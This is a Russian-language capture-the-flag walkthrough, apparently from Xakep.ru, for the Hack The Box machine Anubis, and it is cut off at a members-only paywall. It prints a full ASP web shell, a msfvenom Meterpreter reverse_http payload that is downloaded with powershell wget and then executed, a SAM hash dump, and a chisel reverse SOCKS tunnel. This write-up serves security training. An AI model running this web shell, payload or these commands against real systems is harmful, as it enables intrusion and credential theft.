Пе­ред нами — слож­ней­шая машина Anubis с пло­щад­ки Hack The Box. Что­бы прой­ти ее, понадо­бит­ся про­экс­плу­ати­ровать RCE на сай­те и так получить дос­туп к кон­тей­неру, затем най­ти утеч­ку хеша и узнать пароль. Для дос­тупа к основной сис­теме заюзаем уяз­вимость в Jamovi. А под конец — ком­про­мета­ция домена через служ­бу сер­тифика­ции Active Directory. В общем, пол­ный набор! Скуч­но не будет, обе­щаю.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка. Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы было удоб­нее обра­щать­ся к ней:

10.10.11.102 anubis.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

На­ходим четыре откры­тых пор­та:

  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 443 — веб‑сер­вер Microsoft HTTPAPI;
  • 445 — служ­ба SMB;
  • 593 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC над HTTPS).

Порт 443 обес­печива­ет соеди­нение по HTTPS, а это зна­чит, что пер­вым делом сто­ит изу­чить сер­тификат. Его поле commonName содер­жит домен­ные име­на, для которых он дей­стви­телен (Nmap тут же отоб­разит это в резуль­татах ска­ниро­вания). Сра­зу добав­ляем най­ден­ные домены в /etc/hosts.

10.10.11.102 www.windcorp.htb

Те­перь перей­дем к веб‑сер­веру, где нас встре­тит однос­тра­нич­ный сайт.

Главная страница сайта
Глав­ная стра­ница сай­та

Нам нуж­ны поля, через которые мож­но было бы вза­имо­дей­ство­вать с сер­вером. Най­ден­ная фор­ма отправ­ки сооб­щений подой­дет.

Форма отправки сообщений
Фор­ма отправ­ки сооб­щений

Что прив­лекло мое вни­мание — это отоб­ражение всех вве­ден­ных дан­ных на стра­нице https://www.windcorp.htb/preview.asp.

Форма подтверждения данных
Фор­ма под­твержде­ния дан­ных

По­луча­ется, что сайт не однос­тра­нич­ный! Давай поп­робу­ем най­ти дру­гие скры­тые стра­ницы сай­та.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Так как уже обна­руже­на одна стра­ница в фор­мате ASP, осталь­ные будем переби­рать с таким же рас­ширени­ем. Запус­каем ffuf:

ffuf -u https://www.windcorp.htb/FUZZ.asp -t 300 -w directory_2.3_medium_lowercase.txt
Результат сканирования файлов ASP
Ре­зуль­тат ска­ниро­вания фай­лов ASP

Спус­тя нес­коль­ко минут мы узна­ем еще о нес­коль­ких стра­ницах. Самая инте­рес­ная из них — test.asp, которая прос­то фор­матиру­ет наши дан­ные.

Страница test.asp
Стра­ница test.asp

Это мес­то для тес­та!

 

Захват контейнера

Так как дан­ные попада­ют в исполня­емый файл ASP, то самая прос­тая идея — это поп­робовать записать в поле ком­мента­рия какой‑нибудь шелл на ASP. К при­меру, этот:

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\" & oScriptNet.ComputerName & "" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>
Отправка веб-шелла
От­прав­ка веб‑шел­ла

И уже на стра­нице под­твержде­ния видим некото­рый вывод. Неп­лохо, одну уяз­вимую стра­ницу уже наш­ли!

Страница подтверждения отправленного комментария
Стра­ница под­твержде­ния отправ­ленно­го ком­мента­рия

Ко­неч­но, удоб­нее все­го получить какую‑нибудь прод­винутую обо­лоч­ку, к при­меру Meretpreter. Сна­чала сге­нери­руем исполня­емый файл с помощью msfvenom, для которо­го исполь­зуем сле­дующие парамет­ры:

  • -p [] — наг­рузка;
  • LHOST=[] — IP локаль­ного хос­та;
  • LPORT=[] — локаль­ный порт;
  • -f [] — фор­мат, в котором будет пред­став­лена наг­рузка;
  • -o — ито­говый файл.
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.14.13 LPORT=443 -f exe -o rs.exe
Генерирование нагрузки Meterpreter
Ге­нери­рова­ние наг­рузки Meterpreter

Сле­дующий шаг — запуск лис­тенера MSF.

msfconsole -q
handler -p windows/x64/meterpreter/reverse_http -H tun0 -P 443
Запуск листенера Metasploit
За­пуск лис­тенера Metasploit

Из катало­га, где находит­ся файл с наг­рузкой, запус­каем прос­той веб‑сер­вер на осно­ве Python 3.

python3 -m http.server 80

И через веб‑шелл ска­чива­ем нашу наг­рузку, а вто­рой коман­дой — запус­каем. Это при­ведет к соз­данию сес­сии Meterpreter в Metasploit. Коман­дой getuid про­веря­ем текуще­го поль­зовате­ля, от име­ни которо­го запущен файл.

powershell wget 10.10.14.13/rs.exe -O C:\Windows\Temp\rs.exe
cmd.exe /c C:\Windows\Temp\rs.exe
Создание сессии Meterpreter
Соз­дание сес­сии Meterpreter

Мы работа­ем в кон­тек­сте System, а для даль­нейше­го прод­вижения могут понадо­бить­ся учет­ные дан­ные. Дам­пим хеши из локаль­ной базы SAM с помощью hashdump, вдруг где‑то при­годит­ся.

Получение хешей паролей из базы SAM
По­луче­ние хешей паролей из базы SAM
 

Продвижение

Поиск хостов

Прос­матри­ваем фай­лы на хос­те и находим на рабочем сто­ле адми­нис­тра­тора сер­тификат.

Содержимое файла req.txt
Со­дер­жимое фай­ла req.txt

Ко­пиру­ем его содер­жимое на локаль­ную машину и сох­раня­ем с рас­ширени­ем crt. Затем мож­но прос­то открыть этот файл (любая сис­тема дол­жна рас­познать и отоб­разить содер­жимое сер­тифика­та).

Содержимое сертификата
Со­дер­жимое сер­тифика­та

Так мы узна­ем еще одно домен­ное имя — softwareportal.windcorp.htb. Попыта­емся получить дос­туп к это­му хос­ту, но спер­ва выяс­ним его реаль­ный адрес. Пер­вым делом орга­низу­ем SOCKS-прок­си с помощью прог­раммы chisel. Нам пот­ребу­ется и вер­сия для Windows, и вер­сия для Linux. Запус­тим на локаль­ном хос­те сер­вер, ука­зав порт для под­клю­чения (опция -p), тип прок­си (--socks5) и то, что он дол­жен ожи­дать под­клю­чения.

./chisel server -p 4321 --socks5 --reverse

За­тем заг­рузим на уда­лен­ный хост вер­сию для Windows и под­клю­чим­ся. В логах сер­вера уви­дим сооб­щение о под­клю­чении кли­ент­ской час­ти.

.\chisel.exe client 10.10.14.140:4321 R:4444:127.0.0.1:socks
Логи сервера chisel
Ло­ги сер­вера chisel

Те­перь добавим домен­ное имя в файл /etc/hosts. А в качес­тве адре­са будем исполь­зовать Gateway-адрес сис­темы.

Результат команды ipconfig
Ре­зуль­тат коман­ды ipconfig
172.22.160.1 softwareportal.windcorp.htb

Что уди­витель­но, рас­ширения для быс­тро­го перек­лючения прок­си сер­веров типа FoxyProxy и ему подоб­ных не давали соеди­нения. Но если выс­тавить парамет­ры прок­си в нас­трой­ках бра­узе­ра и обра­тить­ся к хос­ту по домен­ному име­ни, мы получа­ем желан­ную стра­ницу.

Настройки прокси в браузере
Нас­трой­ки прок­си в бра­узе­ре
Стартовая страница сайта
Стар­товая стра­ница сай­та

На сай­те есть спи­сок прог­рам­мно­го обес­печения. Если выб­рать любой пункт, ты перей­дешь по ссыл­ке и уви­дишь сооб­щение о начале уста­нов­ки ПО.

Сообщение о начале установки ПО
Со­обще­ние о начале уста­нов­ки ПО

Нем­ного ждем, но не видим никаких изме­нений. Тог­да раз­берем, что про­исхо­дит при выборе ПО из спис­ка. Выбирая ссыл­ку, мы дела­ем зап­рос по такому адре­су:

http://softwareportal.windcorp.htb/install.asp?client=XXX.XXX.XXX.XXX&software=7z1900-x64.exe

Сер­вер получа­ет адрес кли­ента и дол­жен с ним вза­имо­дей­ство­вать. Поп­робу­ем в качес­тве кли­ента ука­зать адрес сво­его хос­та, но перед этим откро­ем любой сниф­фер тра­фика, к при­меру Wireshark.

curl http://softwareportal.windcorp.htb/install.asp?client=10.10.14.81&software=7z1900-x64.exe
Окно Wireshark
Ок­но Wireshark

Для удобс­тва прос­мотра тра­фика мож­но акти­виро­вать филь­тр, я исполь­зовал not tcp.port == 80, что­бы отсе­ять обра­щения к уда­лен­ному хос­ту. В выводе видим пакеты чер­ного цве­та, что говорит о сбро­се соеди­нения (зак­рытый порт). Про­исхо­дит обра­щение к нашему хос­ту на порт 5985 — там работа­ет служ­ба WinRM. Таким обра­зом, уда­лен­ный хост для уста­нов­ки ПО пыта­ется под­клю­чить­ся к служ­бе WinRM хос­та, адрес которо­го передан в парамет­ре client при зап­росе на уста­нов­ку ПО.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии